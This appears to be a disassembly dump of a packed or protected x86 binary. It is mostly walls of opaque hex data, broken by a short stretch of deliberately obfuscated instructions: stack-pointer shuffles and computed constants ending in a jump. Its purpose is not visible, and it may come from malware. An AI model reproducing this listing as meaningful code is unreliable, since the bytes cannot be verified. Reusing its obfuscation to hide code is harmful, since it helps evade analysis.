dd 48D86853h, 0B5FFFCB1h, 6480ED5h, 38BA858Dh, 0D0FF0648h
dd 92D8589h, 858D0648h, 64B390Bh, 20398589h, 0EB0648h
dd 5F1E9h, 5E5E900h, 0E2680000h, 0E9064B3Dh, 0FFFD4181h
dd 4B3EF068h, 4177E906h, 8668FFFDh, 0E9064B3Fh, 0FFFD416Dh
dd 4B405B68h, 4163E906h, 9D68FFFDh, 0E9064B41h, 0FFFD4159h
dd 7818179Eh, 0E183862Ch, 553712B5h, 0D8B8B939h, 432120CCh
dd 0CF6B5320h, 6CF2AECAh, 0FA871371h, 6A0985E7h, 3F560D6Fh
dd 6F70296Fh, 7611B77Ch, 2432FD47h, 32AFE976h, 581F7624h
dd 42762432h, 76243302h, 2432B1F4h, 325D2776h, 8CB7F624h
dd 0CA0757CEh, 0E3FC6C4Bh, 18F7DCAEh, 35A07420h, 6C571F59h
dd 6CC2ADFCh, 18B4234Ch, 710B9A9Dh, 475AE7F5h, 62C8A9C6h
dd 5CAF4A46h, 5265BC4Fh, 821592E9h, 0E1D593EBh, 84E3FC6Ch
dd 2B830DF3h, 7BD3C411h, 0ED97297Ch, 6D099BE8h, 119E1F6Ch
dd 26DAE5B9h, 6D071048h, 0C06CDBFCh, 0CA85FA88h, 0E570F1BEh
dd 0B460B489h, 8B7F002h, 92A513BDh, 4066148Bh, 67000004h
dd 0F5A1C3DEh, 722E4A4Fh, 692FEEDh, 9501637Eh, 6B88E8E9h
dd 0B3B6320Ah, 2623C5D1h, 0ACA34E5Ah, 5453D0CCh, 0B6089F34h
dd 7C6F6FF2h, 85BF68FEh, 3C8AFBFEh, 76243279h, 730001ADh
dd 0F2839E21h, 0E1F8D341h, 0F1949454h, 0C0459A41h, 60032996h
dd 0E88B0765h, 670C9CEDh, 0C55BF560h, 64CAABD8h, 8E7D4F57h
dd 0BEDAD95Ah, 0E10AE51Eh, 3A13FDDh, 0FA960000h, 6F0C7D78h
dd 0FE85BCC7h, 3A4B56E8h, 0F88FFC7Dh, 1CF8D883h, 99318DAFh
dd 243C7A3Bh, 62D99576h, 0D1CA35BEh, 9B9AE712h, 14CFAD2Ah
dd 2E6B2D81h, 3E797625h, 0B3B63341h, 3B3EC5D1h, 829310ACh
dd 252E6C2Ch, 0BE3F7876h, 6D0AA0C1h, 17671323h, 76252F51h
dd 0F193109Fh, 8C1B1EA5h, 2EDF99F5h, 91ED7625h, 0C1691613h
dd 4540E6B2h, 0B1B43ED2h, 95DF8919h, 0C376252Eh, 1BB5203Dh
dd 88E9869Bh, 3B9522h, 0B6F3CB5Ah, 27C6D37h, 27D1DA65h
dd 28E70C5Ch, 332BAh, 0F5CC7500h, 7C79FB97h, 0E0FF801Ch
dd 956C1480h, 1A1F9BF7h, 447C557Eh, 0CFDBB9B8h, 504C2C39h
dd 0DAB6D2D5h, 0A53E5A59h, 70FCBC12h, 76C87C6Fh, 0FBFE85ADh
dd 7E75FE8Ah, 45DA7601h, 0E2482946h, 1EA69036h, 0E3908F10h
dd 0EF970582h, 59F79512h, 7624335Bh, 0F0EF700Ch, 0CE76E283h
dd 377D5BF3h, 6D762443h, 0E6B1CEDBh, 39BBAF4Ah, 0A1CEBF3Ch
dd 43094B09h, 38037624h, 0D56C0392h, 2442BFF9h, 0CC620D76h
dd 6C6D938Eh, 6DD0DF7Ch, 0C5CE384h, 9C5DCD42h, 3000002h
dd 910D6F62h, 1E8A1613h, 0A2FE9A89h, 316D0F02h, 0CFD4B4B5h
dd 5F52DEE6h, 0C2DF613Dh, 484FEAA6h, 0F0F77C28h, 0D2ACC390h
dd 7C6F7196h, 850B9C22h, 0FE8AFBFEh, 0B2E77E75h, 505AC51Eh
dd 2A976484h, 0AA715C29h, 0C6DCDB73h, 82C6982Fh, 4E76251Fh
dd 302DB321h, 0D28C2243h, 393CC76Dh, 14717AEh, 0CF762520h
dd 0B0AF30A0h, 7C0CA2C3h, 0E1E327DCh, 1F9FDDDh, 47260000h
dd 762432FDh, 7988E2Bh, 8D0A6B18h, 3336B3EFh, 617E3342h
dd 9EA397ECh, 600D8D25h, 11BDF661h, 1D2F2786h, 0E2FFE245h
dd 4DD97B91h, 0FEB0D6E5h, 5B5EDB01h, 0B3AE30CCh, 34EF8F1Bh
dd 0EEDDE1B0h, 48h, 0DC7EB935h, 37FC7549h, 2F487C6Ch, 5D17F790h
dd 0D04EC10Ch, 1C7h, 385857DEh, 0A1C3C66Ch, 157752F5h
dd 98F8F979h, 361600Ch, 0FAB93E0h, 0AC326E0Ah, 3AC7D3B1h
dd 0AA494527h, 7F16CDAFh, 6F72692Fh, 36D1777Ch, 1D532B42h
dd 0AB762433h, 40EDBFCCh, 33410757h, 0F68F7624h, 2432E098h
dd 283EC76h, 8ABE785h, 3305431Bh, 0D4D37624h, 48762657h
dd 0C2B7EE8Ah, 97489B2Ch, 118129BBh, 6B029594h, 250E5513h
dd 0AE046376h, 0F5FD8612h, 5ACD4A4Fh, 57243BC6h, 0A1F38056h
dd 0F404F61Fh, 6ADC630h, 7AFFB99h, 6846590Ah, 76251D30h
dd 2520C759h, 9F370AB7h, 95E79413h, 0EBAD01F2h, 0F976251Ch
dd 0FA631BEh, 251CF9BFh, 12B8C776h, 7C1E2676h, 0D2AF57E9h
dd 0AB258DA1h, 58FE53EEh, 0ABB6495Bh, 76551FC9h, 84BF7624h
dd 0F67F4FC6h, 427C6C88h, 811BB225h, 0E996E7E2h, 5653D141h
dd 125628BFh, 0DE7C6C88h, 386979D1h, 0AE0403A4h, 344540E2h
dd 4FC6D964h, 1240BF5Ah, 28E4918Ch, 6512B8AEh, 1947117h
dd 84DAD96Fh, 7C6D1CC4h, 99169710h, 7705B218h, 0C884F5D0h
dd 26BA2DEFh, 662F879Ah, 0B5462108h, 0B3314D82h, 7B609B6h
dd 3112A45Ah, 85C07Eh, 99180000h, 4AEFA86h, 90376301h
dd 3BBBD7B5h, 0A24E5A26h, 0D1A6CDAFh, 2C4C4DE9h, 91F3EE70h
dd 1B797805h, 83E1E48Fh, 0A7E1BDD0h, 357C6F73h, 0FE85F093h
dd 75FE8AFBh, 779017Eh, 14139058h, 0E3FE474h, 10E5DDE1h
dd 3E000000h, 2432FE47h, 8A892A76h, 0B50EEh, 47B70000h
dd 762432FDh, 0EF8D882Bh, 47EC8044h, 0A643340h, 7624334Eh
dd 369C1D9Ah, 0C1BD493h, 4B000000h, 85C39B32h, 53762432h
dd 85E5FE54h, 494E5FCh, 790B787Fh, 0FC8CFDFCh, 720E7F6Ah
dd 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h, 0B9BFCCC9h
dd 241F68h, 242C8900h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], ecx
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
xchg ebx, [esp]
pop esp
mov [esp], esi
push ebp
push 5C0A462Dh
mov ebp, [esp]
add esp, 4
shl ebp, 6
sub ebp, 0FC464E25h
mov ecx, ebp
pop ebp
push esp
mov esi, [esp]
add esp, 4
push 5EDh
mov [esp], ebx
mov ebx, 8
add ebx, esi
mov [ebx], ecx
pop ebx
push dword ptr [esp]
pop esi
add esp, 4
mov ecx, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_541331
; ---------------------------------------------------------------------------
db 52h
dd 0B85C7659h, 64B4247h, 0D18BC503h, 20EBh, 7 dup(0)
dd 51E90000h, 0E9000005h, 545h, 4B44C368h, 3B67E906h, 5B68FFFDh
dd 0E9064B45h, 0FFFD3B5Dh, 4B46E668h, 3B53E906h, 4D68FFFDh
dd 0E9064B47h, 0FFFD3B49h, 680807AEh, 0D1B3B63Ch, 452722C5h
dd 0C8A8A949h, 335150DCh, 0FF7B4310h, 7C029EFAh, 0EA970361h
dd 9A197517h, 4F66FD9Fh, 6F76397Fh, 6621877Ch, 0F7A80B80h
dd 1E01CECCh, 5847D8B8h, 59A36CDh, 5A086906h, 7624C91Eh
dd 0C9397F4Fh, 0F8877624h, 2847EF88h, 24C8DA9Ah, 651E71F6h
dd 310CFE4h, 736DC57Ch, 1163988Ch, 3FB95DE1h, 0E2000000h
dd 2432FE47h, 6F2D1676h, 75D3A6F8h, 63FA7C6Fh, 6F754D0Bh
dd 0B61C9B7Ch, 1B366B3Ah, 0E3BE59E4h, 0E718500Eh, 0DBA47C6Fh
dd 0B531CB5Ah, 0D852C7B4h, 6F5B1C52h, 3A46EC6Dh, 138Ch
dd 0FD470B00h, 17762432h, 0A7F76E2Ch, 7C6F75D2h, 50F3911Eh
dd 96E7E285h, 521668FFh, 7B762433h, 24326523h, 44347376h
dd 0AED68ACFh, 0B0313AAFh, 8FF7BC1Ah, 7520F624h, 29465BDBh
dd 33E8E248h, 294B56E9h, 42D57741h, 23E5286Ch, 662059F6h
dd 0F4CD75E5h, 2A8DE687h, 6414BA6Eh, 951E6A1Bh, 1692079Eh
dd 0A1EB22CFh, 94EEB09h, 4BC88DF8h, 0CCF7C7E3h, 6C00970Eh
dd 0C385D9DAh, 11F6233Ch, 1B98E996h, 3C76328Ch, 2542F623h
dd 6D6ACF8Dh, 0C9B6FC6Bh, 6C6A2AB8h, 139EEFDBh, 971D6F1Ch
dd 8770E592h, 0CB30AD8Eh, 0EB502AB0h, 2E6A44h, 0FDBAEFDCh
dd 7827937Ch, 56DFD74Ch, 0D1AD44A4h, 0EFDBF797h, 68F45A25h
dd 56h, 0DC7EB9B3h, 6F4D7549h, 1C9B7C6Fh, 494CF789h, 0F1F47F2Bh
dd 5A264D4Eh, 6B46B0Ch, 2CCh, 0C0A0BF46h, 492B2ED4h, 0BDDFCA5Dh
dd 204041E1h, 0ABC9C874h, 97132B88h, 49AF692h, 822F7B19h
dd 32B1ED8Fh, 0E7FE5537h, 6F76D197h, 0DE491F7Ch, 29767h
dd 0E285FC00h, 397649F4h, 0BFCCC96Bh, 83F071FEh, 24327133h
dd 339F6576h, 50177624h, 0BA762433h, 762432FAh, 2432A8ECh
dd 32561E76h, 85BE3624h, 595629D4h, 724CDB58h, 3C6F20CDh
dd 6903921Dh, 0F0B1CECBh, 8B1C6D87h, 8F278AA5h, 0C993ACE0h
dd 5C2D005Eh, 3E7942B6h, 0A34C128Fh, 0CB7B3452h, 234h
dd 385857DEh, 0A1C3C66Ch, 157752F5h, 98F8F979h, 361600Ch
dd 0FAB93E0h, 0AC326E0Ah, 3AC7D3B1h, 0AA494527h, 7F16CDAFh
dd 6F77692Fh, 36D1777Ch, 4CE8FE85h, 0D1BFCC4Dh, 0DDB124E6h
dd 7C6F7570h, 1B0698F4h, 9F921E6Ah, 830081EEh, 3712B5E1h
dd 0BBA63955h, 13B982CAh, 0B74B2A84h, 0E49F82BAh, 0ABA57C8Fh
dd 8E852E3Fh, 0B233B0F1h, 8B3C78D6h, 6B547624h, 0F95836A1h
dd 907C6FCDh, 7F04391Bh, 12924A3Fh, 0B8389E1Fh, 33D468FFh
dd 0F0462754h, 0EDE88B25h, 9590138Fh, 811E56E4h, 2D167C6Fh
dd 0CFA6F86Fh, 1B82BAC3h, 6CEDF88Fh, 0D9DC67F9h, 0AD56EABBh
dd 139000D6h, 0FB787D07h, 3E883C8Ah, 0B7807624h, 58EE8215h
dd 0E4CED0B9h, 0F8C853Ch, 0FC99317Eh, 6F88C3A2h, 207E177Ch
dd 7C6F8368h, 704B4473h, 2454D794h, 2DAAAD48h, 433035BFh
dd 9E32A522h, 6B4CEA15h, 10EAD068h, 1EA5F193h, 19226A1Bh
dd 0BF8AE473h, 0E82BB22h, 0EB8EA95h, 0ED7FD56Dh, 0CAE64C45h
dd 0D0C9DCADh, 2C8BBACh, 6E6CC229h, 7624A226h, 9C316A2Dh
dd 4DA0D84Eh, 6BD08A20h, 0E144C63Dh, 151CDDh, 47870000h
dd 76244FFDh, 0A201752Eh, 886E3837h, 0C9422h, 80F30000h
dd 0EA4047ECh, 244CA8ECh, 0E9802B76h, 2432D395h, 3086E176h
dd 2EB9635Ch, 6F75ED50h, 413E797Ch, 0FF96340Fh, 0B77AD2AFh
dd 2E911E82h, 12A21A99h, 0A972E09Fh, 63000000h, 0F1ADCFC2h
dd 7E2A7673h, 29EFAE9h, 910D6F62h, 6F741415h, 0BFB23E06h
dd 223FC1DDh, 0A8AF4A46h, 5057DCC8h, 0B20CA330h, 7C6F78F6h
dd 0B9AB7CC2h, 0B249DC7Eh, 379F921Eh, 6F75B499h, 0BE3BD57Ch
dd 186713BBh, 29851C6Bh, 7C6F746Fh, 0C09C327Dh, 0ECC255F7h
dd 82B78C25h, 0E6872641h, 0D012A20Ch, 42AF5Fh, 29C80000h
dd 0D45E4A56h, 40E7B3D1h, 0CB6B2745h, 72FEAAF6h, 0A1F61D7Fh
dd 7C1C1D99h, 0E1839E20h, 6B0908B5h, 0D3B1B43Fh, 57116D00h
dd 657C6F79h, 0D6740C3h, 0FC000000h, 3D912841h, 7624327Bh
dd 0FF882E49h, 94E5FC85h, 0B787F04h, 8CFDFC79h, 0E7F6AFCh
dd 82F3F672h, 6774AF6h, 86F7CA6Ah, 397655EAh, 0BFCCC96Bh
dd 0E28952B9h, 4C281h, 0BD550000h, 4, 875DEA29h, 685C2414h
dd 3F5h, 56240C89h, 0C681E689h, 4, 8704EE83h, 895C2434h
dd 68532404h, 6F284308h, 7EBC15Bh, 8143DBF7h, 0A9625F3h
dd 5BD989FFh, 5E18E981h, 0F18134CBh, 0CD14986Dh, 24048B54h
dd 4C481h, 89520000h, 8BB53CAh, 1000000h, 5B1389C3h, 2434FF5Ah
dd 4C48158h, 0FF000000h, 81592434h, 4C4h, 363BE900h, 5EA9FFFDh
dd 77E4C385h, 0B34292A8h, 2E9134D1h, 47B4B82Fh, 0C503064Bh
dd 51E9C88Bh, 60000000h, 2424748Bh, 8B3C7603h, 8B28247Ch
dd 0F8C281D6h, 66000000h, 0F064E8Bh, 0F983C9B7h, 16840F00h
dd 3B000000h, 8F0F0C7Ah, 15h, 8B28EA83h, 4A8B0C42h, 2BC12B14h
dd 247C89F8h, 8C2611Ch, 28C28300h, 0CF850F49h, 0E9FFFFFFh
dd 0FFFFFFE9h, 9FD3EBAh, 0D9E900h, 1D200000h, 0C12C0FBEh
dd 0CFDF2F82h, 54FDBEB6h, 0A436365Dh, 0D500BCECh, 0D352C55Dh
dd 94A4D676h, 0C44100FCh, 0CB50C1AEh, 0AC325277h, 0B8009CACh
dd 64F7F691h, 389382CDh, 3C000000h, 40000000h, 94000000h
dd 5000000h, 1000000h, 28000000h, 200000Ah, 20h dup(0)
dd 1000000h, 0E92D9903h, 2005h, 4B4B9968h, 34DBE906h, 9468FFFDh
dd 0E9064B4Ch, 0FFFD34D1h, 4B4DA268h, 34C7E906h, 9368FFFDh
dd 0E9064B4Eh, 0FFFD34BDh, 4B4F6A68h, 34B3E906h, 2E68FFFDh
dd 0E9064B50h, 0FFFD34A9h, 4B50FE68h, 349FE906h, 0E068FFFDh
dd 0E9064B51h, 0FFFD3495h, 4B55A068h, 348BE906h, 1168FFFDh
dd 0E9064B56h, 0FFFD3481h, 4B575F68h, 3477E906h, 5A68FFFDh
dd 0E9064B5Ah, 0FFFD346Dh, 4B5D9E68h, 3463E906h, 0D368FFFDh
dd 0E9064B60h, 0FFFD3459h, 4B626D68h, 344FE906h, 0D768FFFDh
dd 0E9064B62h, 0FFFD3445h, 4B634168h, 343BE906h, 0B368FFFDh
dd 0E9064B63h, 0FFFD3431h, 4B64CF68h, 3427E906h, 0F668FFFDh
dd 0E9064B65h, 0FFFD341Dh, 4B671568h, 3413E906h, 5DE4FFFDh
dd 0C86A2642h, 6CF3AFCDh, 0FF871371h, 6E0A86E2h, 8DEA096Bh
dd 680809B5h, 0DDBFAA3Ch, 472524C1h, 0CFADA84Bh, 6B2D8114h
dd 797C6F7Ch, 0AD32CEE7h, 0AA0C1BEh, 0FBFE8579h, 0C461FB8Ah
dd 6AD6DC5h, 9C306103h, 0E5B91110h, 0C9A530DAh, 7C6C4524h
dd 78D6A7C0h, 7C6C453Ch, 7E0B8017h, 0DCD55D27h, 88B5CEAFh
dd 0F8F258E5h, 0A0FE2503h, 2824DBA9h, 7F000000h, 49DC7EB9h
dd 9A891EB2h, 0C36B660Eh, 6C400495h, 0A6D7D07Ch, 6C404C08h
dd 944B077Ch, 0A9034BB0h, 0E491DBh, 850A0000h, 0FB8AFBFEh
dd 6BC3DE61h, 17FA03AFh, 0C2935DEBh, 0ACECC255h, 38762507h
dd 0F381FE7Fh, 71047570h, 0F65C49DFh, 0FE9A991Ah, 250C6760h
dd 95901376h, 0ABE59EF7h, 9EBBC95Ch, 1C099F0Dh, 0E8A80E6Fh
dd 513F4C4Bh, 7E025066h, 2ADC9A36h, 9A33AADh, 96C46A77h
dd 7C6D1787h, 0A09AA46h, 96B14A4h, 61F496A1h, 408B36CAh
dd 4790A764h, 0B2189937h, 0B737C424h, 971082h, 9718618Bh
dd 0B51D67CBh, 0B2A04CE0h, 0D4B43530h, 822E3CB8h, 0A0BF0E8Fh
dd 0A612A338h, 1D2679E9h, 951C0000h, 0A2FE9Ah, 942B6705h
dd 37BFEB89h, 0A6425E3Ah, 0D5A2C1A3h, 204041EDh, 95F7D274h
dd 1F7D7CF9h, 87E5E083h, 0A3E5B9CCh, 317C6F7Dh, 0F985F4AFh
dd 670C98F8h, 60F0ED73h, 0F3B0C1C0h, 0ED7F1672h, 7E3F4C45h
dd 0EC80CFD8h, 14E84E41h, 0FFF2722Bh, 0F560E18Eh, 6C401099h
dd 0CCA2397Ch, 7C6C3F8Ch, 0FBF75F58h, 357FCFBCh, 1C7C6C40h
dd 9B32FDA2h, 6C3F85C3h, 0FE54537Ch, 0A90335EEh, 0C9EFDBh
dd 85340000h, 0FE8AFBFEh, 0B00E7F72h, 76243737h, 0A7C5C063h
dd 0DECD52EEh, 5550D3A1h, 70C64724h, 770403A0h, 0E97C1E19h
dd 6C608895h, 0BF405C7Ch, 46D2D3A0h, 0D4D5A2A1h, 5A653557h
dd 0F28E25B0h, 0FDDB7376h, 82B7010Ah, 2FC6515Eh, 0A53A8F7Ah
dd 0B41ACBCAh, 0CE5958E4h, 23B1AC32h, 0B5F28386h, 95118D1Dh
dd 0FE6C2C82h, 3F787626h, 9C060FBEh, 4FC012A2h, 1C2BDFh
dd 91901100h, 181DA7F3h, 8C9B2C78h, 3130B0ECh, 0A6BB4753h
dd 0E0D8B9DAh, 6B274544h, 0FCA8C8D5h, 86127E71h, 0C99AE6FDh
dd 7EA0D8B6h, 9A2C7C6Fh, 0F8F98509h, 5451D36Dh, 0D0F04627h
dd 14542AC1h, 0A0762433h, 32BBFDD1h, 6E097624h, 2AC949E1h
dd 85A64D2Fh, 1C20FFEh, 0ED13DBF6h, 0EB2ECD98h, 6AEB5ED9h
dd 0E1E48F1Dh, 0C6DE4B83h, 0ADA44CFDh, 9C27B92Ch, 0CD643199h
dd 0C0B1AC33h, 4D0BA3h, 247C6C7Ch, 0AE30CC5Bh, 868321B3h
dd 0FA461030h, 0EA38FAD7h, 59C0BD1h, 0EA8AEFA9h, 1CB2FD30h
dd 99342579h, 0AE453732h, 0B28898D0h, 0A5AF2432h, 0CEDD36Bh
dd 0D8D87EFFh, 8B448DFh, 88C09E09h, 5432B2BDh, 98F4832Bh
dd 0D36AFD9Fh, 447030DEh, 31A38A21h, 0BC1AB0B1h, 38FA79B2h
dd 79E0976h, 0BDCACF75h, 39BA56FCh, 0BB167DCEh, 0FE7F2D6Dh
dd 126C0392h, 30EA9C56h, 0EDAD0562h, 0D1D05046h, 0FB42C3A0h
dd 57DEFE40h, 1D09B976h, 2700001Bh, 0B5E1839Eh, 326E0A0Fh
dd 0C6D2BEADh, 5541233Eh, 0ABC8A8A9h, 7376F2CAh, 0E6E38511h
dd 6C630E9Ah, 1413900Ch, 0F6C8DF74h, 7C6F7FB2h, 85FFA83Eh
dd 0FB8AFBFEh, 6CC2DF61h, 72E5A790h, 6C4E411Ch, 6BFA857Ch
dd 0BDBC38D4h, 0B9FFAFCCh, 77C6C4Dh, 86B6D278h, 4C6F115h
dd 7075FF91h, 49CC6203h, 0B45E2875h, 0D1337C82h, 8E812CC0h
dd 0EFC7B0F1h, 0D60705C3h, 0A86371D9h, 0D53DD653h, 0F736C1DCh
dd 0CD654063h, 3C924671h, 3DD5897Ch, 23653948h, 0B13DD58Ah
dd 5DC849F6h, 1D991801h, 780FA144h, 379F1C6Dh, 0D769FCBBh
dd 0F281292Ch, 6CFBA19Ah, 0A24452D0h, 59026A7h, 65C4A5A9h
dd 0B124433Eh, 9365941Fh, 0C586A16Ch, 2FBB9DB2h, 0DDEE0B5Ah
dd 0CE653C5Ch, 0D5DCB8F0h, 5B5EE43Dh, 703F4D2Ah, 0BEB53EDAh
dd 0F3BDF20Fh, 0AB5BD44Ah, 1A2Ch, 0F0906F16h, 791B1EA4h
dd 0ED8F9A2Dh, 503031B1h, 0DBB9B844h, 47E3DBB8h, 0D46A2642h
dd 72FFABC9h, 0E2811D7Fh, 0B7CE85E7h, 6F80A1E7h, 0E992F7Ch
dd 8AFBFE85h, 0C453F9C2h, 6C3BAFEAh, 1C7C3B7Ch, 0C85F7EDCh
dd 6C3BB2F6h, 6F853E7Ch, 83C98508h, 58349A1Bh, 542ABD5Fh
dd 82B45709h, 487CA65Dh, 0EC4CDCB8h, 9ABF5E9Bh, 33B08330h
dd 8F07D1h, 3A0512CDh, 356E0590h, 0F14B262Dh, 6A47070Ah
dd 6E0A5E6Dh, 1E0B49E1h, 4A1914CFh, 47705C2Dh, 0B991285h
dd 1B82296Eh, 5529EC42h, 174CE7C9h, 4D0B63FAh, 7B12CC77h
dd 0EE89FBFEh, 0D84F2848h, 0A07AF41h, 0FA963C7Dh, 871E7A79h
dd 0DA594FF5h, 40C1AEDFh, 0FE5453D0h, 2B929112h, 75FD23FCh
dd 55D5453Ah, 0EF000019h, 7D294B46h, 0FA96F2F7h, 8E1A6665h
dd 1D89EBE6h, 0D3F09091h, 3B3EBA82h, 0AEBB4D59h, 542BD6C2h
dd 0DCDB5834h, 3E9027BCh, 7C6F817Ah, 8027E046h, 0E813CC0Bh
dd 9D327406h, 0D35A2F5Eh, 36601527h, 0A14F4273h, 0DA593991h
dd 0D5EEAEDFh, 7709A037h, 0FABBC8CDh, 550B0654h, 38477C6Dh
dd 1EB61058h, 59F06725h, 84907020h, 0F662C262h, 0F2E0764Dh
dd 82B517ABh, 6D2B831Ah, 7B76250Ch, 9D1A963Ch, 0C18DE17Fh
dd 3C077367h, 0C2B7079Eh, 2E79AEAFh, 635C3041h, 0CE502EB9h
dd 1A7776CBh, 64910A9Dh, 0AB0A90D6h, 0FA174DAh, 92036164h
dd 29E10B19h, 0BC1232D2h, 0ED5057DCh, 15630330h, 91198906h
dd 0AB000018h, 3955370Ah, 0C6D2BEBBh, 4A462221h, 0D9B5D7AAh
dd 173C5C5Dh, 0E7FA86BEh, 6A770985h, 1017920Eh, 989F2470h
dd 7A546BF8h, 7C6F833Eh, 8553348Ah, 0C28AFBFEh, 0EAC453F9h
dd 7C6C5B7Fh, 0ECEC8CEBh, 0FE9CA73Fh, 6B461767h, 56282B4h
dd 51EC69E7h, 69D09EDh, 2591F6Fh, 186709EDh, 0ED030E4Ah
dd 39CEDA09h, 643AAD2Ah, 9ED0324h, 8F5FF7B0h, 0E2D3E2B4h
dd 0E7EDAB03h, 0BCFB09ECh, 91984FCBh, 32F0A806h, 0B3FC09ECh
dd 5ECBA332h, 8A103441h, 40E5A3FBh, 0B4F30BA4h, 2D164637h
dd 0CA61F86Fh, 0C5B29136h, 40B2F6A4h, 713E0BA4h, 7973FBD9h
dd 0CAB511ECh, 0D322C15Bh, 25E45ED0h, 5A26A75Dh, 1FAEA54Eh
dd 7EDD2CC4h, 0C19D0D82h, 7B000017h, 985E7FAh, 96026E6Bh
dd 1A7612F1h, 0A9E5879Ah, 476C0C0Dh, 0D7AA566Eh, 5A47D9B5h
dd 0C0C7623Eh, 484FF4A0h, 4A24BB28h, 7C6F830Eh, 858304DAh
dd 0C28AFBFEh, 0A5A440F9h, 89DDB124h, 3A7C6F7Bh, 7A8DCBA3h
dd 25BB7C6Fh, 872F4838h, 82198CEBh, 0E54D58EEh, 0E98B8E35h
dd 0B4D21B8h, 397C6F7Bh, 0AACBB8B9h, 5B79D1DEh, 7C6F7BADh
dd 0DF69A5DEh, 0BECFCA68h, 0DCA084F1h, 6328A20h, 3C752C4Ch
dd 60AC5D88h
dd 4ECA60F3h, 3237BDA5h, 0BC87D7B5h, 53F5871Eh, 745F4082h
dd 71FEE9EEh, 0EE4441E3h, 29FF5727h, 5D2982BBh, 0C5A2D3D6h
dd 193C7C52h, 0EF887625h, 0CC60F76Eh, 9892120h, 0D36E9A6Bh
dd 601C608Ah, 0ADDF99F5h, 82ED7624h, 892B6705h, 6ADFF8Ch
dd 0ED4DBC03h, 0B46B12A4h, 16DF06h, 0C5DC6500h, 4C49EBA7h
dd 0F0EF702Ch, 657C0490h, 0EAEF8B07h, 340C658Eh, 0BFEB8988h
dd 405C3C29h, 0CAC6A2A5h, 954E2A29h, 83ECAC02h, 66F87C6Fh
dd 95E980BDh, 762432D3h, 15627F01h, 339BE494h, 2BBA605Bh
dd 0AB6B2876h, 0C67F0815h, 0FABE108Eh, 0C676243Bh, 39238B9h
dd 6F84DBABh, 0F3620D7Ch, 0BDDFDA59h, 0B225DFDDh, 0E6E3811Bh
dd 74520250h, 0F9867C6Fh, 5251D26Eh, 0A8AD5725h, 0F55DDADBh
dd 742D68C6h, 0B4267C6Fh, 532AD1F7h, 56F0DBAAh, 2B000000h
dd 4ED97BB9h, 413E2DB2h, 302FB020h, 0E9A3FB9Ah, 0FF762432h
dd 3173C3B0h, 18762433h, 2CD7F1AEh, 0F6DDE112h, 2Dh, 0BDBB4DDFh
dd 214E3F2Ah, 0DF8FD7A0h, 0F9DAE7A5h, 0FE473651h, 16762432h
dd 0A6F86F2Dh, 7C6C3ADBh, 0A398B9F2h, 0A55323DCh, 66026D0Dh
dd 0DC7EB9DDh, 6BF9B249h, 0A09189C5h, 0DCDDFB53h, 687C6D52h
dd 81227E0Fh, 9AAE682h, 832F7D0Ah, 0FAF18Eh, 78F8945Bh
dd 0A241D179h, 2AC9C5A7h, 457E5E2Fh, 0F77C1087h, 24BB5AF0h
dd 9BE8F788h, 0EB26B41Ah, 0E782B52Bh, 0CD940D98h, 81DEBB9h
dd 2A7B07AFh, 0C27D3B93h, 2C4B7624h, 6A690A86h, 6A2A4D1Dh
dd 5047EE5Bh, 492536BCh, 0EE5A6A0Fh, 2455D2DDh, 2928D547h
dd 0C810CF81h, 504C2C2Bh, 0D0A7D4D3h, 1BB3B63Ch, 8DFAF77Fh
dd 4993480Ah, 0D1CDAFAAh, 76265752h, 46188F4Dh, 0F4A2758Bh
dd 4502E9A2h, 275455D1h, 56FF2D46h, 235057D2h, 4D6DC542h
dd 0C5B2AF31h, 89360BB7h, 0B73C6808h, 2FB1C3B0h, 0B20CA332h
dd 0F4A273F6h, 74115727h, 0D0DFF4A2h, 406FC7A0h, 0C9A5AE30h
dd 0F4A2738Fh, 0A4D5525Dh, 0BF4432D4h, 174A3BB8h, 0AB3CE45Bh
dd 21AECFBCh, 0A14B30EAh, 29650702h, 9EFE8F8Ah, 1E70E7A5h
dd 0FAEA880Bh, 0DCC8A8D7h, 93235057h, 0FE5A87D1h, 17646107h
dd 96E7E285h, 479C430Fh, 2DF7B426h, 0B0E18386h, 87B871FBh
dd 5B083CECh, 0B186DA1h, 2E25CEAAh, 7BD35051h, 881F129Fh
dd 74964013h, 0B81E31CEh, 0F9D56C3Bh, 0DE5A98BFh, 4CCC620Dh
dd 0CAD0A1A0h, 7E3A942Bh, 4ADE5A98h, 14CB852Dh, 422E21CCh
dd 0ECC2AB56h, 0DE5A98ACh, 0C0C76C38h, 2CC83643h, 0B85628ECh
dd 0B63E4A3Bh, 2BE7CABBh, 0E01AC74h, 0B48B3662h, 0ECAE89C7h
dd 0CC8CE279h, 18DE5A74h, 5E379Fh, 0E4A29E89h, 3ADDAAD5h
dd 2829C963h, 36D6AE5Bh, 0F6ADF6E2h, 30EFE149h, 2E4A4DE8h
dd 9806F172h, 23DDDC58h, 622678EFh, 6EE4A2A6h, 0A1F38001h
dd 0FC900702h, 54146A6Bh, 60E4A2A6h, 7CE98607h, 0C3834275h
dd 2E8405BCh, 7471F381h, 0F4CD7507h, 0DA9EF087h, 0E6E4A30Dh
dd 0D3882299h, 752A841Ah, 630104AFh, 9FD550CBh, 4F8AB3h
dd 80110000h, 0E74F5AECh, 0E49D8E2Bh, 314CCA28h, 0A5E3B353h
dd 33762477h, 9B8D5D80h, 1F9C5D4Ch, 94AFE19Eh, 9A0F5FF6h
dd 237C6C73h, 7076328Ch, 0D1427C6Ch, 0B19F3559h, 1CB2334Bh
dd 0C771139Ch, 28h, 0F08AF5AEh, 17A9C4AEh, 0BD15926Fh
dd 0F9F8852Ah, 0A5FBC488h, 0C5D690A2h, 686F140Bh, 0A3FB6AEBh
dd 7C6CE78Ah, 9033515Eh, 675074D9h, 115C32A5h, 557C6C43h
dd 0CDBAA739h, 24B82FACh, 122E8483h, 1F590444h, 69330C71h
dd 0FED067FEh, 691F4ABAh, 83D17906h, 6F675996h, 0F8D4A5C2h
dd 9E790EBFh, 0F49EBB5Ah, 677F4B0h, 116DF879h, 7120520Dh
dd 0B749DCDBh, 3A6B090Ch, 72031EA6h, 76FD9D35h, 8903CC73h
dd 4AC51FA9h, 131FDCh, 859C2500h, 0C09ABE7h, 0B0AF306Ch
